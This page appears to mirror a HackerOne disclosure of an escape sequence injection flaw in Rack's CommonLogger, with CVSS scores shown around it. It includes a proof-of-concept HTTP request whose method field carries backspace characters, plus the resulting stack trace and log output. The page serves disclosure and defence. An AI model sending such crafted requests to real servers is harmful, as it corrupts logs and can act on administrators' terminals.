Lucene search

K
hackeroneVaireltH1:1411867
HistoryNov 29, 2021 - 12:44 p.m.

Ruby on Rails: Escape Sequence Injection vulnerability in Rack

2021-11-2912:44:26
vairelt
hackerone.com
7

10 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.001 Low

EPSS

Percentile

37.8%

Dangerous bug in commonlogger of rack that allows to inject escape sequences in logs, the same bug alredy closed in webrick
https://www.ruby-lang.org/en/news/2010/01/10/webrick-escape-sequence-injection/
Logger processes the query string correctly, but request metod printing as is.
https://github.com/rack/rack/blob/master/lib/rack/common_logger.rb#L50
Triggering request:

GET\b\b\bPOST /sign_in?test1=1\b2 HTTP/1.0
Host: 127.0.0.1:4567

Result:

Rack::Lint::LintError: REQUEST_METHOD unknown: POST
        /usr/local/bundle/gems/rack-2.2.3/lib/rack/lint.rb:21:in `assert'
        /usr/local/bundle/gems/rack-2.2.3/lib/rack/lint.rb:340:in `check_env'
        /usr/local/bundle/gems/rack-2.2.3/lib/rack/lint.rb:44:in `_call'
        /usr/local/bundle/gems/rack-2.2.3/lib/rack/lint.rb:38:in `call'
        /usr/local/bundle/gems/rack-2.2.3/lib/rack/show_exceptions.rb:23:in `call'
        /usr/local/bundle/gems/rack-2.2.3/lib/rack/common_logger.rb:38:in `call'
        /usr/local/bundle/gems/sinatra-2.1.0/lib/sinatra/base.rb:253:in `call'
        /usr/local/bundle/gems/rack-2.2.3/lib/rack/content_length.rb:17:in `call'
        /usr/local/bundle/gems/rack-2.2.3/lib/rack/handler/webrick.rb:95:in `service'
        /usr/local/bundle/gems/webrick-1.7.0/lib/webrick/httpserver.rb:140:in `service'
        /usr/local/bundle/gems/webrick-1.7.0/lib/webrick/httpserver.rb:96:in `run'
        /usr/local/bundle/gems/webrick-1.7.0/lib/webrick/server.rb:310:in `block in start_thread'
172.19.0.1 - - [29/Nov/2021:12:19:06 +0000] "POST /sign_in?test1=1%082 HTTP/1.1" 500 950 0.0006

Impact

inject malicious escape sequences to its logs, making it possible for dangerous control characters to be executed on a victim’s terminal emulator

10 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.001 Low

EPSS

Percentile

37.8%